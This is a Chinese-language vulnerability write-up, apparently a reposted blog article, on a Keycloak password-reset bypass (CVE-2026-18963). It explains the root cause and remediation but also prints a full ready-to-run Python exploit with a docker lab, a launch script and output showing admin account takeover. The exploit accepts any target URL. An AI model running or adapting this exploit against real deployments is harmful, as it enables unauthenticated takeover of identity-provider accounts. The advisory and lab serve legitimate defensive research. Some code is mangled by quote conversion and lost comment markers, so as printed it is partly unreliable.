文章总结: Keycloak26.0.0至26.7.1版本存在严重漏洞CVE-2026-18963,允许未认证攻击者绕过邮件验证环节,为任意已知用户名的账号重置密码,实现完全账号接管(ATO),CVSS评分9.1。根因是认证选择器状态未绑定执行与重置密码动作未校验令牌两处缺陷叠加。建议立即升级至26.7.2+或临时关闭忘记密码功能。 综合评分: 86 文章分类: 漏洞分析,安全预警,安全工具
已复现POC!Keycloak 重置密码绕过账号接管
原创
一个不正经的黑客 一个不正经的黑客
一个不正经的黑客
2026年8月25日 19:16 广东
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
漏洞预警 · VULNERABILITY ADVISORY
Keycloak 重置密码流程绕过致账号接管
CVE-2026-18963
危害等级:Critical · CVSS 9.1
一句话结论
未认证攻击者可为任意已知用户名的账号重置密码,实现完全账号接管(ATO),CVSS 9.1 Critical。
一线修复:升级到 26.7.2+;临时缓解:关闭「Forgot Password」。
一漏洞背景
Keycloak 是由 Red Hat 维护的开源 IAM 平台,承担众多企业的统一登录与联邦身份认证。
其「忘记密码 / Reset Credentials」自助流程是用户在没有登录态时通过二次验证(邮件、OTP、安全问题等)重置自身密码的核心安全机制,其正确性直接关系到账号安全边界。
ProjectDiscovery 在 nuclei-templates 仓库提交了针对该缺陷的检测模板(PR #16995),并将其标识为 CVE-2026-18963;与此同时 Keycloak 社区在 GitHub Issue #51833 中披露了同一缺陷的技术细节。
该缺陷允许未认证攻击者绕过邮件验证环节,强制重置任意账号的密码,造成完全的账号接管(Account Takeover, ATO)。
在 Keycloak 常作为身份中枢的部署场景下,一旦被利用,攻击者可获取管理员等高权限账号,进而横向影响所有依赖该 IdP 的业务系统,危害尤为严重。
二漏洞概要
| | | | — | — | | 漏洞编号 | CVE-2026-18963 | | 危害等级 | Critical(CVSS v3.1 9.1) | | 漏洞类型 | 认证逻辑绕过 / 未授权账号接管(ATO) | | 所需权限 | 无(未认证 Unauthenticated) | | 影响组件 | Keycloak 身份与访问管理(IAM) | | 用户交互 | 无 | | 可用性影响 | 低 | | 信息来源 | nuclei-templates PR #16995;Keycloak Issue #51833 |
核心结论
未认证攻击者可为任意已知用户名的账号重置密码,实现完全账号接管(ATO)。
利用前提
本漏洞利用需同时满足:
-
目标 Realm 已开启「Forgot Password」(resetPasswordAllowed = true);
-
攻击者已知目标用户名(如 admin)。
关键事实:该配置在 Keycloak 原版中默认关闭(非默认配置),因此官方将「关闭 Forgot Password」列为临时缓解措施。
但大量生产环境为支持用户自助重置而主动开启,现实目标中该前提普遍成立,不可轻视。
三影响版本
漏洞由社区版 Keycloak 26.0.0 的提交 6a9e60b 引入,与 Red Hat Build of Keycloak(RHBK)同源代码,因此社区公开版同样受影响。
| 版本线 | 受影响范围 | 首个修复 | | — | — | — | | 全部 26.x(社区) | 26.0.0 – 26.7.1(含 main) | 见下 | | 26.7 线 | 26.7.0 – 26.7.1 | 26.7.2(已发布 Quay) | | 26.6 线 | 26.6.0 – 26.6.5 | 26.6.6(仅 RHBK 仓库) | | 26.4 线 | 26.4.0 – 26.4.14 | 26.4.15(仅 RHBK 仓库) | | ≤ 25.x | 不受影响 | — |
已修复版本: 26.7.2(公开 Quay 社区镜像可用);26.6.6 / 26.4.15 为 Red Hat 专属补丁,仅 RHBK 订户从 Red Hat 仓库获取,公开 Quay 社区镜像没有这两个 tag。
现实提示: 若你跑在社区 26.4.x / 26.6.x,要么自行从对应 git tag 构建,要么直接升级到公开 26.7.2。
前置条件(开启 Forgot Password)见上方「利用前提」。
四根因分析
先打个生活化比方:「忘记密码」就像机场自助改签柜台。
正常流程是——你先刷身份证(=点邮件里的验证链接)证明是本人,柜台才让你改签。
两个缺陷,叠加成漏洞
缺陷 1 相当于把「已刷证」的牌子写成了通用的「已通过」,却没写是哪个人;缺陷 2 相当于你走到改密码窗口,柜员只看牌子、不核对本人就直接给你办了。
落到代码上,「忘记密码」是一组有序的认证执行(Authentication Execution):提交用户名 → 选择验证方式(邮件 / OTP / 安全问题)→ 验证通过 → 设置新密码。
两处实现问题链式叠加,让未认证者跳过「邮件验证」这一关键环:
缺陷 1认证选择器状态未绑定执行(AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED)
在「尝试其他方式(try another way)」分支里,系统把「认证选择器界面已显示」以通用字符串「true」写入认证会话,却没和具体 execution 绑定。
后果:攻击者能把流程「回退」到选择器界面,挑一条不需要邮件验证的执行路径。
…AuthenticationProcessor.java
// 选择器界面状态写入认证会话(缺陷 1 核心)
authenticationSession.setAuthNote(
AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED, “true”);
// 缺陷:状态写为通用 “true”,未绑定具体 execution
// 攻击者可借 tryAnotherWay 回退,重选一条无邮件验证的路径
缺陷 2Reset Credential Email 动作未校验令牌(ACTION_TOKEN_USER_ID)
在 ResetCredentialEmail.action() 处理「设置新密码」时,代码没有校验会话里的 ACTION_TOKEN_USER_ID 是否经过合法邮件令牌绑定,就直接调用 context.success() 放行。
…ResetCredentialEmail.java
// ResetCredentialEmail.action():处理“设置新密码”动作(缺陷 2 核心)
// 解析 action token 后,未校验 ACTION_TOKEN_USER_ID 是否
// 经过合法的邮件验证令牌绑定,便直接放行:
context.success(); // ← 缺陷:无需拥有该账号即可改密
链式效应
缺陷 1 让攻击者操纵流程跳回选择器、避开必须验证的执行项;
缺陷 2 让攻击者即便到了「设置密码」步骤,系统也不做最终校验就批准。
两处叠加,未认证者即可为任意账号设新密码。
五攻击流程
攻击者(未认证)针对已开启 Forgot Password 的 Realm,完整利用链如下(与 nuclei 检测模板判定逻辑一致)。
先看一眼全貌:
攻击时序图 · 绕过邮件验证直接改密攻击者(未认证)Keycloak 服务端目标邮箱(被绕过)1GET /auth 抓取 Forgot Password 链接2打开 reset-credentials 表单3POST tryAnotherWay=on 进入认证选择器缺陷14POST username=victim 取得 restart 轮询路径缺陷15GET restart 路径 刷新stale 选择器状态缺陷16复用 stale 选择器 跳过邮件验证 直达设密码缺陷17POST password-new=新密码 缺陷2 直接放行缺陷28200 密码已更新9用新密码登录 账号接管成功
举个具体例子
假设目标用户名是 admin,攻击者想把它的密码改成 NewPass@2026:第 4 步 POST username=admin → 系统返回 restart 轮询路径;第 7 步攻击者带着 admin 直达设置密码页;第 8 步 POST password-new=NewPass@2026 → 因缺陷 2 直接 200 放行。
于是攻击者用 admin / NewPass@2026 登录成功,原密码 Admin123! 当场失效。
逐步拆解(与 nuclei 模板逐请求对应):
1获取入口:访问登录页 GET/realms/{realm}/protocol/openid-connect/auth,抓取「Forgot Password?」链接。
2进入重置流程:打开 reset-credentials 页面,获取 kc-reset-password-form 表单及其 action。
3触发「尝试其他方式」:提交 tryAnotherWay=on,进入认证选择器界面。
4提交目标用户名:POST username={victim},系统返回后续 restart 轮询路径。
5命中 restart 轮询路径:GET 该路径,刷新认证会话状态。
6复用过期(stale)选择器 action:再次打开 reset-credentials 页面,取回过期的 kc-select-credential-form action(状态机在此处失去约束)。
7再次提交用户名:到达设置新密码表单(kc-passwd-update-form),全程不经邮件验证门禁。
8设置新密码:POST password-new / password-confirm,服务端因缺陷 2 直接放行,密码被更新。攻击者随后即可用新密码登录。
攻击要点
整个过程不经过目标用户邮箱、无需任何先决凭据,属于纯未认证的账号接管。
六复现环境与步骤
如何一键构建复现环境
本机需 Docker 与自签证书(Keycloak 给 loopback 打 Secure Cookie,故走 HTTPS)。
只需三步,依次执行:
1拉起漏洞版 Keycloak:docker compose up -d 启动 docker-compose.yml,漏洞版 quay.io/keycloak/keycloak:26.7.1 + postgres:17-alpine。
2开启 Forgot Password + 跑 PoC:./run-lab.sh 自动登录 admin、开启「Reset Password」、执行 poc.py。
3验证修复(对照组):docker compose -f docker-compose.fixed.yml up -d 切到修复版 26.7.2 后重跑 PoC,应观察到 reset-credentials 链路失败。
环境拓扑
| 角色 | 版本 | 说明 | | — | — | — | | Keycloak 漏洞版 | 26.7.1 | 存在缺陷(可被利用) | | Keycloak 修复版 | 26.7.2 | 已修复(对照组) | | PostgreSQL | 17-alpine | 持久化 Realm 与用户数据 | | 自签证书 | openssl 生成 | Keycloak 强制 Secure Cookie,走 HTTPS 用 |
docker-compose.yaml(漏洞版,docker-compose.fixed.yml 仅替换 image tag 为 26.7.2)
…docker-compose.yml
CVE-2026-18963 — Vulnerable Keycloak reproduction lab (26.7.1)
Unauthenticated account takeover via reset-credentials flow bypass.
26.7.1 is the last vulnerable release before the fix in 26.7.2.
services:
postgres:
image: postgres:16
environment:
POSTGRES_DB: keycloak
POSTGRES_USER: keycloak
POSTGRES_PASSWORD: keycloak
healthcheck:
test: [“CMD-SHELL”, “pg_isready -U keycloak”]
interval: 5s
timeout: 5s
retries: 20
keycloak:
image: quay.io/keycloak/keycloak:26.7.1
command: [“start-dev”]
environment:
KC_DB: postgres
KC_DB_URL: jdbc:postgresql://postgres:5432/keycloak
KC_DB_USERNAME: keycloak
KC_DB_PASSWORD: keycloak
KC_BOOTSTRAP_ADMIN_USERNAME: admin
KC_BOOTSTRAP_ADMIN_PASSWORD: Admin123!
KEYCLOAK_ADMIN: admin
KEYCLOAK_ADMIN_PASSWORD: Admin123!
KC_HTTP_ENABLED: “true”
KC_HOSTNAME_STRICT: “false”
KC_HOSTNAME: localhost
KC_HEALTH_ENABLED: “true”
KC_HTTPS_CERTIFICATE_FILE: /opt/keycloak/certs/cert.pem
KC_HTTPS_CERTIFICATE_KEY_FILE: /opt/keycloak/certs/key.pem
volumes:
- “./certs:/opt/keycloak/certs:ro”
ports:
- “127.0.0.1:18080:8080”
- “127.0.0.1:18443:8443”
depends_on:
postgres:
condition: service_healthy
PoC(poc.py,纯 Python 标准库实现 8 步漏洞链路,并自动核验接管结果)
…poc.py
!/usr/bin/env python3
“””
CVE-2026-18963 – Keycloak < 26.7.2 Unauthenticated Account Takeover
via reset-credentials flow bypass.
PoC reproducing the 8-step reset-credentials state-machine bypass,
mirrored from the verified nuclei template
(projectdiscovery/nuclei-templates PR #16995 / CVE-2026-18963.yaml).
Root cause (two chained bugs):
1. The “tryAnotherWay” handler stores the
AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED note as a generic “true”
value, NOT scoped to the execution id.
2. ResetCredentialEmail.action() calls context.success() without
verifying ACTION_TOKEN_USER_ID, so the email-verification gate
can be skipped.
Stdlib-only (no third-party deps) so it runs on a stock Python.
Usage:
python3 poc.py –base http://127.0.0.1:8080 –realm master –username admin \
–old-password Admin123!
“””
import argparse
import http.cookiejar
import random
import re
import ssl
import string
import sys
import urllib.error
import urllib.parse
import urllib.request
def rand_pw(n=16):
alphabet = string.ascii_letters + string.digits
return “”.join(random.choice(alphabet) for _ in range(n))
Shared unverified SSL context (lab uses a self-signed cert)
SSL_CTX = ssl.create_default_context()
SSL_CTX.check_hostname = False
SSL_CTX.verify_mode = ssl.CERT_NONE
Global cookie jar + opener. The opener is (re)built once with an optional
upstream HTTP proxy (e.g. Burp at http://127.0.0.1:8080) so all requests
— including the token-verification calls — flow through it.
CJ = http.cookiejar.CookieJar()
OPENER = None
def build_opener(proxy=None):
handlers = []
if proxy:
# Proxy URL is http://…, but the keys must be the *target* schemes.
handlers.append(urllib.request.ProxyHandler(
{“http”: proxy, “https”: proxy}))
handlers.append(urllib.request.HTTPSHandler(context=SSL_CTX))
handlers.append(urllib.request.HTTPCookieProcessor(CJ))
op = urllib.request.build_opener(*handlers)
op.addheaders = [
(“User-Agent”, “Mozilla/5.0 (CVE-2026-18963 PoC)”),
(“Accept”, “text/html,application/xhtml+xml,*/*”),
]
return op
class Client:
”””Cookie-aware HTTP client that routes through the global OPENER/proxy.”””
def request(self, method, url, raw_body=None, headers=None):
body = raw_body.encode() if raw_body is not None else None
req = urllib.request.Request(url, data=body, method=method)
if headers:
for k, v in headers.items():
req.add_header(k, v)
try:
resp = OPENER.open(req, timeout=30)
return resp.status, resp.read().decode(“utf-8”, “replace”)
except urllib.error.HTTPError as e:
return e.code, e.read().decode(“utf-8”, “replace”)
def build_url(base, path):
path = path.replace(“&”, “&”)
if path.startswith(“http://”) or path.startswith(“https://”):
return path
return base.rstrip(“/”) + path
def extract(body, regex, name):
m = re.search(regex, body, re.S)
if not m:
print(f” [-] failed to extract: {name}”)
return None
return m.group(1)
class Exploit:
def __init__(self, base, realm, username, old_password=None):
self.base = base.rstrip(“/”)
self.realm = realm
self.username = username
self.old_password = old_password
self.new_password = rand_pw()
self.c = Client()
def _form_action_re(self, form_id):
# matches action=”https?://host(/path)” and captures the path
return rf’id=”{form_id}”[^>]*action=”https?://[^/]+(/[^”]*)”‘
def run(self):
print(f”[*] Target : {self.base}/realms/{self.realm}”)
print(f”[*] Victim : {self.username}”)
print(f”[*] New password will be set to: {self.new_password}”)
# step 1 – reach login page, find the reset-credentials link
q = urllib.parse.urlencode({
”client_id”: “account”,
”response_type”: “code”,
”scope”: “openid”,
”redirect_uri”: f”{self.base}/realms/{self.realm}/account”,
})
r = self.c.request(
”GET”,
f”{self.base}/realms/{self.realm}/protocol/openid-connect/auth?{q}”,
)
forgot_path = extract(r[1], r’href=”(/[^”]*reset-credentials[^”]*)”‘, “forgot_path”)
print(f”[1] forgot_path = {forgot_path}”)
if not forgot_path:
return False
# step 2 – open the reset-credentials (enter username) form
r = self.c.request(“GET”, build_url(self.base, forgot_path))
reset_action = extract(r[1], self._form_action_re(“kc-reset-password-form”),
”reset_form_action”)
print(f”[2] reset_form_action = {reset_action}”)
if not reset_action:
return False
# step 3 – trigger “try another way”
r = self.c.request(
”POST”, build_url(self.base, reset_action),
raw_body=”tryAnotherWay=on”,
headers={“Content-Type”: “application/x-www-form-urlencoded”},
)
selector_action = extract(r[1], self._form_action_re(“kc-select-credential-form”),
”selector_form_action”)
print(f”[3] selector_form_action = {selector_action}”)
if not selector_action:
return False
# step 4 – submit the username -> obtain restart polling path
r = self.c.request(
”POST”, build_url(self.base, selector_action),
raw_body=f”username={self.username}”,
headers={“Content-Type”: “application/x-www-form-urlencoded”},
)
restart_path = extract(r[1], r’startSessionPolling(\s*“\’[“\’]’,
”restart_path”)
print(f”[4] restart_path = {restart_path} (status {r[0]})”)
if not restart_path:
return False
# step 5 – hit the restart polling path
r = self.c.request(“GET”, build_url(self.base, restart_path))
print(f”[5] restart path status = {r[0]}”)
# step 6 – re-open reset-credentials, grab the STALE selector action
r = self.c.request(“GET”, build_url(self.base, forgot_path))
if “kc-select-credential-form” not in r[1]:
print(“[6] kc-select-credential-form NOT present -> target not exploitable”)
return False
stale_action = extract(r[1], self._form_action_re(“kc-select-credential-form”),
”stale_selector_action”)
print(f”[6] stale_selector_action = {stale_action}”)
if not stale_action:
return False
# step 7 – submit username again -> reach the password update form (no email gate)
r = self.c.request(
”POST”, build_url(self.base, stale_action),
raw_body=f”username={self.username}”,
headers={“Content-Type”: “application/x-www-form-urlencoded”},
)
if “kc-passwd-update-form” not in r[1]:
print(“[7] kc-passwd-update-form NOT present -> bypass failed”)
return False
update_action = extract(r[1], self._form_action_re(“kc-passwd-update-form”),
”update_action”)
print(f”[7] update_action = {update_action}”)
if not update_action:
return False
# step 8 – set the new password (allow_redirects=false -> expect 302)
r = self.c.request(
”POST”, build_url(self.base, update_action),
raw_body=f”password-new={self.new_password}&password-confirm={self.new_password}”,
headers={“Content-Type”: “application/x-www-form-urlencoded”},
)
print(f”[8] update password status = {r[0]}”)
if r[0] not in (200, 302):
return False
print(f”[+] ACCOUNT TAKEOVER SUCCEEDED (password update responded HTTP {r[0]})”)
return True
def verify(self):
def token_ok(pw):
data = urllib.parse.urlencode({
”grant_type”: “password”,
”client_id”: “admin-cli”,
”username”: self.username,
”password”: pw,
}).encode()
req = urllib.request.Request(
f”{self.base}/realms/{self.realm}/protocol/openid-connect/token”,
data=data,
headers={“Content-Type”: “application/x-www-form-urlencoded”},
)
try:
resp = OPENER.open(req, timeout=15)
return resp.status == 200 and b”access_token” in resp.read()
except urllib.error.HTTPError:
return False
print(“[*] Verifying takeover via direct-grant (client_id=admin-cli)…”)
new_works = token_ok(self.new_password)
old_works = token_ok(self.old_password) if self.old_password else None
print(f” new password works : {new_works}”)
if old_works is not None:
print(f” old password works : {old_works} (expected False after takeover)”)
return bool(new_works)
def main():
ap = argparse.ArgumentParser(description=”CVE-2026-18963 PoC (stdlib only)”)
ap.add_argument(“–base”, default=”https://localhost:18443″)
ap.add_argument(“–realm”, default=”master”)
ap.add_argument(“–username”, default=”admin”)
ap.add_argument(“–old-password”, default=None,
help=”initial password, used for pre/post takeover verification”)
ap.add_argument(“–proxy”, default=”http://127.0.0.1:8080″,
help=”upstream HTTP proxy (e.g. Burp). Pass \”\” to disable.”)
args = ap.parse_args()
global OPENER
OPENER = build_opener(args.proxy or None)
print(f”[*] Using proxy: {args.proxy or ‘DIRECT’}”)
if args.old_password:
data = urllib.parse.urlencode({
”grant_type”: “password”, “client_id”: “admin-cli”,
”username”: args.username, “password”: args.old_password,
}).encode()
req = urllib.request.Request(
f”{args.base}/realms/{args.realm}/protocol/openid-connect/token”,
data=data, headers={“Content-Type”: “application/x-www-form-urlencoded”})
try:
pre = OPENER.open(req, timeout=15)
pre_ok = pre.status == 200 and b”access_token” in pre.read()
except urllib.error.HTTPError:
pre_ok = False
except urllib.error.URLError as e:
pre_ok = False
print(f”[!] proxy/pre-check connection error: {e}”)
print(f”[*] pre-exploit old-password token status ok = {pre_ok}”)
ex = Exploit(args.base, args.realm, args.username, args.old_password)
ok = ex.run()
final = ok
if args.old_password:
# Authoritative proof: the password actually changed.
new_works = ex.verify()
final = bool(new_works)
if not final:
print(“[!] Verification FAILED: new password did not work -> exploit inconclusive”)
sys.exit(0 if final else 1)
if __name__ == “__main__”:
main()
一键复现脚本(run-lab.sh:拉起环境 → 开启 Forgot Password → 跑 PoC)
…run-lab.sh
!/usr/bin/env bash
Spin up the vulnerable Keycloak lab and run the CVE-2026-18963 PoC.
#
The vulnerability REQUIRES the realm’s “Forgot Password” feature to be
enabled (it is OFF by default in Keycloak, and disabling it is the
official temporary mitigation). This script enables it on the master realm.
#
Usage:
./run-lab.sh # defaults below
BASE=https://localhost:18443 ./run-lab.sh
set -euo pipefail
DIR=”$(cd “$(dirname “${BASH_SOURCE[0]}”)” && pwd)”
cd “$DIR”
BASE=”${BASE:-https://localhost:18443}”
REALM=”${REALM:-master}”
TARGET_USER=”${TARGET_USER:-admin}”
OLD_PW=”${OLD_PW:-Admin123!}”
echo “[*] Starting vulnerable lab (Keycloak 26.7.1 + Postgres, HTTPS on 18443)…”
docker compose -f docker-compose.yml up -d
echo “[*] Waiting for Keycloak at $BASE …”
ready=0
for i in $(seq 1 80); do
if curl -fsk “$BASE/realms/$REALM/.well-known/openid-configuration” >/dev/null 2>&1; then
echo “[+] Keycloak is ready.”
ready=1
break
fi
sleep 3
done
if [ “$ready” -ne 1 ]; then
echo “[!] Keycloak did not become ready. Check: docker compose logs keycloak”
exit 2
fi
echo “[*] Enabling ‘Forgot Password’ (resetPasswordAllowed) on realm $REALM …”
TOK=$(curl -fsk -X POST “$BASE/realms/$REALM/protocol/openid-connect/token” \
-d “grant_type=password&client_id=admin-cli&username=$TARGET_USER&password=$OLD_PW” \
| python3 -c “import sys,json;print(json.load(sys.stdin).get(‘access_token’,”))”)
curl -fsk -X PUT “$BASE/admin/realms/$REALM” \
-H “Authorization: Bearer $TOK” -H “Content-Type: application/json” \
-d ‘{“resetPasswordAllowed”:true}’ -w ” -> HTTP %{http_code}\n”
echo “[*] Running PoC against $BASE (realm=$REALM, user=$TARGET_USER)…”
run-lab uses direct connection (no Burp). For manual Burp interception, run:
python3 poc.py –base “$BASE” –realm “$REALM” –username “$TARGET_USER” \
–old-password “$OLD_PW” # (defaults to –proxy http://127.0.0.1:8080)
python3 “$DIR/poc.py” –base “$BASE” –realm “$REALM” –username “$TARGET_USER” \
–old-password “$OLD_PW” –proxy “”
echo “”
echo “[*] To verify the fix: docker compose down && docker compose -f docker-compose.fixed.yml up -d”
echo “[*] To tear down: docker compose down”
真实复现结果(漏洞版 Keycloak 26.7.1 上 PoC 实跑)
…result_vuln.txt
[*] Using proxy: http://127.0.0.1:8080
[*] pre-exploit old-password token status ok = False
[*] Target : https://localhost:18443/realms/master
[*] Victim : admin
[*] New password will be set to: gflfqeGwlWUIguYz
[1] forgot_path = /realms/master/login-actions/reset-credentials?client_id=account&tab_id=…&client_data=…
[2] reset_form_action = /realms/master/login-actions/reset-credentials/…
[3] selector_form_action = /realms/master/login-actions/reset-credentials/…
[4] restart_path = /realms/master/login-actions/restart/… (status 200)
[5] restart path status = 200
[6] stale_selector_action = /realms/master/login-actions/reset-credentials/…
[7] update_action = /realms/master/login-actions/reset-credentials/…
[8] update password status = 200
[+] ACCOUNT TAKEOVER SUCCEEDED (password update responded HTTP 200)
[*] Verifying takeover via direct-grant (client_id=admin-cli)…
new password works : True
old password works : False (expected False after takeover)
对照组(同样 PoC 在修复版 Keycloak 26.7.2 上实跑:第 6 步即被拦截,无密码变更)
…result_fixed.txt
[*] Using proxy: http://127.0.0.1:8080
[*] pre-exploit old-password token status ok = True
[1] forgot_path = /realms/master/login-actions/reset-credentials?client_id=account&tab_id=…&client_data=…
[2] reset_form_action = /realms/master/login-actions/reset-credentials/…
[3] selector_form_action = /realms/master/login-actions/reset-credentials/…
[4] restart_path = /realms/master/login-actions/restart/… (status 200)
[5] restart path status = 200
[6] kc-select-credential-form NOT present -> target not exploitable
完整可运行的脚本见同目录的 poc.py、docker-compose.yml 与 run-lab.sh。
复现关键踩坑(按需排查):
1Keycloak 对 loopback 请求视为安全上下文,给 Cookie 打 Secure 标记;纯 HTTP 客户端不回传 Secure Cookie,会报 Restart login cookie not found。
2漏洞利用需先启用 resetPasswordAllowed(默认关闭;run-lab.sh 已自动开启)。
3本环境最终密码更新返回 HTTP 200 而非 nuclei 预期的 302,以「新密码可登录 / 旧密码失效」为权威判定。
4PoC 默认走 Burp 代理 http://127.0.0.1:8080;传 –proxy “” 可改回直连。
七修复建议
01升级(一线建议,根治)
将 Keycloak 升级到修复版本:26.7.2(26.7 线)、26.6.6(26.6 线)、26.4.15(26.4 线)或更高,且需要根据现行版本线选择对应分支的最新补丁版本。
02临时缓解(无法及时升级时降低暴露面)
立即在所有 Realm 关闭「Forgot Password」(resetPasswordAllowed = false)。
这是官方临时缓解方案,可立即阻断该漏洞的利用链路。
缺点:放弃用户自助密码重置,需提供替代的人工重置流程。
03纵深防御
启用 MFA / WebAuthn:要求重置密码前完成多因素验证;
启用 bruteforceDetection 与 failureFactor 检测:对异常密码重置行为触发告警;
网络层:在反向代理 / 网关上对 /realms/*/login-actions/reset-credentials 做来源 / 频次限制。
04运营层面
紧急盘点所有 Keycloak 实例的版本是否落在受影响区间;
复检 Realm 上 resetPasswordAllowed、邮件验证、密码重置审计日志是否启用;
检查近期是否有异常重置密码成功事件(看 /admin/realms/{realm}/events 的事件审计,关注 UPDATE_PASSWORD 来源)。
修复优先级
一线:升级到 26.7.2+(按版本线选补丁);
临时:关闭「Forgot Password」阻断利用链;
纵深:启用 MFA/WebAuthn + 异常检测 + 网关限频。
八免责声明
本文仅用于安全研究、漏洞分析与防御科普,旨在帮助安全与运维人员理解 CVE-2026-18963 的原理、影响及修复方式。
文中所附复现环境(docker-compose、poc.py)与步骤,均应在授权环境中进行——包括但不限于自建的隔离测试环境、或已获得书面授权的测试目标。
严禁将文中方法用于未经授权的系统、网络或账号;严禁利用该缺陷进行任何危害他人系统安全、窃取数据、破坏业务或违反法律法规的活动。
因将上述内容用于非法目的而产生的一切法律后果,由使用者自行承担,与本文作者及发布平台无关。
CVE-2026-18963 漏洞通告 · 仅供安全研究与防御参考
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:一个不正经的黑客 一个不正经的黑客 一个不正经的黑客《已复现POC!Keycloak 重置密码绕过账号接管》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论